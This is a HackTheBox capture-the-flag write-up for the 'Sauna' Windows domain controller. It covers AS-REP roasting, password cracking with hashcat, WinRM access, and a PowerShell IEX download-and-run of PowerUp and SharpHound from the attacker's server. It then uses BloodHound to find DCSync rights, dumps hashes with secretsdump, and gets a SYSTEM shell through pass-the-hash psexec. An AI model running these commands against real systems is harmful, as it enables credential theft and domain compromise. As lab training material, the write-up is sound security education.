< Go back

Sauna Writeup (HackTheBox)

🗓️ Published:

Table of Contents

Enumeration #

Starting with an nmap:

root@kali:~# nmap -Pn -sS -n -p1-10000 -T4 -sV 10.10.10.175
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-26 14:16 EDT
Nmap scan report for 10.10.10.175
Host is up (0.14s latency).
Not shown: 9986 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-27 02:20:51Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing

At first glance, this host looks like a domain controller given the open DNS (53) and LDAP (389) ports. Furthermore, WinRM (5985) is open, which is typical for domain controllers.

First, let's poke around the website being hosted on port 80. Overall, it looks like a very standard website for a bank - not too much going on here. Something that could be useful, however, is a list of staff working at this company.

image-20200426225924571

Next up, we'll quickly check whether we can access SMB anonymously.

root@kali:~# smbmap -H 10.10.10.175
[+] IP: 10.10.10.175:445 Name: 10.10.10.175

No dice, let's try LDAP next. We have a domain name from the nmap scan, but let's run a command of our own to verify these results.

root@kali:~# ldapsearch -x -h 10.10.10.175 -s base namingContexts
...
dn:
namingContexts: DC=EGOTISTICAL-BANK,DC=LOCAL
namingContexts: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingContexts: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingContexts: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
namingContexts: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
...

Using this information, we can modify our ldapsearch command to try and bind to the LDAP server and list the subtrees below the top node.

root@kali:~# ldapsearch -x -h 10.10.10.175 -D '' -w '' -b "DC=EGOTISTICAL-BANK,DC=LOCAL"
...
# Hugo Smith, EGOTISTICAL-BANK.LOCAL
dn: CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL
...

The command worked and we are able to get quite a bit of information without any authentication. I've only left what I believe was the most important / usable, as everything else seemed like boilerplate LDAP to me (but then again I'm not too familiar with LDAP). While I don't think this information directly helped, it did remind me that this is a domain controller and that maybe I should start looking in to Active Directory / Kerberos / LDAP / etc. Given that I didn't have any user passwords yet, I decided to look in to a technique called AS-REP Roasting to see if it could be applied here.


AS-REP Roasting? #

I had only heard about this technique in passing with regards to it being a Kerberos related vulnerability, so I first had to understand exactly what it was I'd be attacking.

The way I understand it (in a nutshell) is that Kerberos works on what are known as tickets. A client first requests a ticket-granting ticket (TGT), then once it receives this TGT, it takes it to the ticket-granting service (TGS) and requests a ticket for a specific resource.

AS-REP roasting has to do with the first TGT request. Normally when requesting a TGT (by sending an AS-REQ), a client would have to pre-authenticate. It would do this by encrypting the current timestamp with the client's password. This way, the client proves they are who they say they are before being issued a TGT (in an AS-REP).

However, pre-authentication can be disabled if desired - which is exactly what is required for AS-REP roasting. The reason this is dangerous is because the AS-REP contains a portion that is encrypted with the requesting client's password, which can then be bruteforced offline to retrieve the password. Coupled with the fact that the requester doesn't have to prove who they are before receiving this information means that an attacker can potentially retrieve the password for any user with pre-authentication disabled.


In order to perform this attack on Kali, I used the GetNPUsers.py script part of the Impacket suite. Before running the script, I created a file with a list of potential usernames that could be found in a corporate environment, based on the staff names found on the webpage and the ldapsearch output.

root@kali:~# cat users.txt
hugo.smith
hsmith
fergus.smith
fsmith
hugo.bear
hbear
steven.kerb
skerb
shaun.coins
scoins
bowie.taylor
btaylor
sophie.driver
sdriver

Then, I ran the script as follows:

root@kali:~# python GetNPUsers.py 'EGOTISTICAL-BANK.LOCAL/' -request -format hashcat -usersfile ~/Desktop/Sauna/users.txt -no-pass -dc-ip 10.10.10.175 -outputfile sauna_hashes.txt
root@kali:~# cat sauna_hashes.txt
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:9a90d1be25b4516f46a5c865c16753a5$c1f66d........52c33b

Finally, I used hashcat to attempt to bruteforce the password:

root@kali:~# hashcat -m 18200 sauna_hashes.txt -a 3 /usr/share/wordlists/rockyou.txt --force

After some time, hashcat successfully completed and the password ended up being T****3. Perfect, so now we have Windows domain credentials to log in to the system: EGOTISTICAL-BANK.LOCAL\fsmith / T****3.

We can now utilize WinRM (port 5985) to log in and get a shell on the system. On a Windows system, we would do this using PowerShell, and in fact it's basically the exact same on Kali.

root@kali:~# apt install powershell
root@kali:~# apt install gss-ntlmssp
root@kali:~# pwsh
PowerShell 7.0.0
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/powershell
Type 'help' to get help.

PS /root/impacket/examples> Enter-PSSession 10.10.10.175 -Credential EGOTISTICAL-BANK.LOCAL\fsmith -Authentication Negotiate

PowerShell credential request
Enter your credentials.
Password for user EGOTISTICAL-BANK.LOCAL\fsmith: ************

[10.10.10.175]: PS C:\Users\FSmith\Documents> whoami
egotisticalbank\fsmith

[10.10.10.175]: PS C:\Users\FSmith\Documents> type C:\Users\FSmith\Desktop\user.txt
<FLAG HERE>

Perfect, so now we can go ahead, get the user flag, then start working on escalating privileges.

Second User Account #

My first step here was to run a script called PowerUp, but to get the script over to the remote end I had to fire up an HTTP server on my Kali box.

root@kali:~# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Then back in pwsh I ran the script and found Autologon credentials in the registry.

[10.10.10.175]: PS C:\Users\FSmith\Documents> IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.27:8000/PowerUp.ps1');Invoke-AllChecks

...
[*] Checking for Autologon credentials in registry...


DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : M********!
AltDefaultDomainName :
AltDefaultUserName :
AltDefaultPassword :
...

Of course, if we wanted to be less noisy and more methodical with our approach, then the following would have worked just as well:

[10.10.10.175]: PS C:\Users\FSmith\Documents> reg query 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
...
DefaultDomainName REG_SZ EGOTISTICALBANK
DefaultUserName REG_SZ EGOTISTICALBANK\svc_loanmanager
...
DefaultPassword REG_SZ M********!

Interestingly enough, the username doesn't exactly match what would be required to login, which can be confirmed by looking in the C:\Users directory.

[10.10.10.175]: PS C:\Users\FSmith\Documents> dir C:\Users

Directory: C:\Users

Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/25/2020 1:05 PM Administrator
d----- 4/27/2020 8:52 PM FSmith
d-r--- 1/22/2020 9:32 PM Public
d----- 4/27/2020 8:56 PM svc_loanmgr

To try out these credentials, I went back to pwsh, exited the fsmith session, and instead tried logging in with EGOTISTICAL-BANK\svc_loanmgr / M****!:

PS /root> Enter-PSSession 10.10.10.175 -Credential EGOTISTICAL-BANK.LOCAL\svc_loanmgr -Authentication Negotiate

PowerShell credential request
Enter your credentials.
Password for user EGOTISTICAL-BANK.LOCAL\svc_loanmgr: **************************

[10.10.10.175]: PS C:\Users\svc_loanmgr\Documents> whoami
egotisticalbank\svc_loanmgr

Now that I had another account, I thought it would be super easy from here because of course this new account must have slightly more access than fsmith, so I just ran PowerUp.ps1 again. Unfortunately for me, this was not the case and the script returned nothing new to work with.

Privilege Escalation #

I decided to play around with a tool called Bloodhound, which can be used to visualize Active Directory and find paths to various targets. While it's probably much more useful in larger environments, I thought it would be a good idea to learn how to use it on a small scale first.

To generate the data for Bloodhound, I had to run something called SharpHound on the remote machine. Obviously this would be very noisy in the real world, but since I wanted to learn exactly what this tool would gather and be useful for, I just ran it with the default arguments.

[10.10.10.175]: PS C:\Users\svc_loanmgr\Documents> IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.27:8000/SharpHound.ps1'); Invoke-Bloodhound
[10.10.10.175]: PS C:\Users\svc_loanmgr\Documents> dir


Directory: C:\Users\svc_loanmgr\Documents


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/28/2020 10:46 PM 9093 20200428224621_BloodHound.zip
-a---- 4/28/2020 10:46 PM 11122 ZDFkMDEyYjYtMmE1ZS00YmY3LTk0OWItY
TM2OWVmMjc5NDVk.bin

SharpHound generated two files, the bin which I believe is a cache file, and the zip which is what we need to ingest in to Bloodhound. To get it off the remote host, I decided to use certutil to encode the file to base 64, output the contents to the screen, copy-paste the base 64 over to my Kali box, then decode the base 64 back to a ZIP.

[10.10.10.175]: PS C:\Users\svc_loanmgr\Documents> certutil -encode .\20200428224621_BloodHound.zip out.txt
Input Length = 9093
Output Length = 12560
CertUtil: -encode command completed successfully.
[10.10.10.175]: PS C:\Users\svc_loanmgr\Documents> type out.txt
-----BEGIN CERTIFICATE-----
UEsDBC0AAAAIAM21nFDC5C25//////////8aABQAMjAyMDA0MjgyMjQ2MjFfZ3Jv
...
-----END CERTIFICATE-----

After taking everything between BEGIN CERTIFICATE and END CERTIFICATE, and pasting in to a new file, I ran the following commands and ingested the ZIP in to Bloodhound.

root@kali:~# base64 -d bh.b64 > bh.zip
root@kali:~# file bh.zip
bh.zip: Zip archive data, at least v4.5 to extract

image-20200428185931441

Great, I had Bloodhound up and running with actual data, but how am I actually supposed to use this information?! After poking around a bit and quite a few tutorials online, I clicked the Pre-Built Analytics Query labelled Find Principals with DCSync Rights. Amongst this crazy looking graph, I saw that svc_loanmgr was listed!

Great... but what exactly is a DCSync right?


DCSync #

It turns out DCSync is a feature within Mimikatz which essentially mimics a domain controller and requests that the target domain controller replicate user credentials using legitimate features of Active Directory. To perform this action, credentials are needed for an account with the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights. By default, members of the Administrator group have these rights, but these rights can also be granted to specific users (which is what can be seen in Bloodhound with svc_loanmgr). If executed successfully, the attacker can gather NTLM hashes for any user they desire (which can then be bruteforced or used in pass-the-hash techniques).


We could have leveraged these DCSync rights through our PowerShell session by running Mimikatz locally on the DC, but instead I decided to take the remote approach using Impacket's secretsdump.py. Back on my Kali machine:

root@kali:~# python secretsdump.py 'EGOTISTICAL-BANK/svc_loanmgr:Moneymakestheworldgoround!'@10.10.10.175 -just-dc-user Administrator
Impacket v0.9.22.dev1+20200327.103853.7e505892 - Copyright 2020 SecureAuth Corporation ...
Administrator:500:aad3b4........1404ee:d94858........ab9dff:::
...

We've retrieved both the LM and NT hashes - but rather than spend time bruteforcing the plaintext password, we can just use pass-the-hash with Impacket's psexec.py.

root@kali:~# python psexec.py 'EGOTISTICAL-BANK/Administrator'@10.10.10.175 -hashes 'aad3b4........1404ee:d94858........ab9dff' -dc-ip 10.10.10.175 -service-name parsnips -remote-binary-name parsnips.exe
Impacket v0.9.22.dev1+20200327.103853.7e505892 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.10.10.175.....
[*] Found writable share ADMIN$
[*] Uploading file parsnips.exe
[*] Opening SVCManager on 10.10.10.175.....
[*] Creating service parsnips on 10.10.10.175.....
[*] Starting service parsnips.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
...FLAG HERE...

Wrap it all up by grabbing the root flag!

^ Back to top